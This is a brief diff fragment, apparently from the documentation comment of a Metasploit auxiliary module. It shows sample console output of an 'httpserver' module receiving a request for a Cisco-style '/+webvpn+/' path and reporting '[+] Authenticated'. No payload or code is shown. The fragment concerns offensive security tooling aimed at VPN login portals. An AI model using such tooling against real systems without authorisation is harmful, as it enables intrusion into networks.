@ -150,5 +150,4 @@ msf auxiliary(httpserver) > run
[*] 10.0.1.76 httpserver - Received request: /+webvpn+/index.html
[+] Authenticated
=end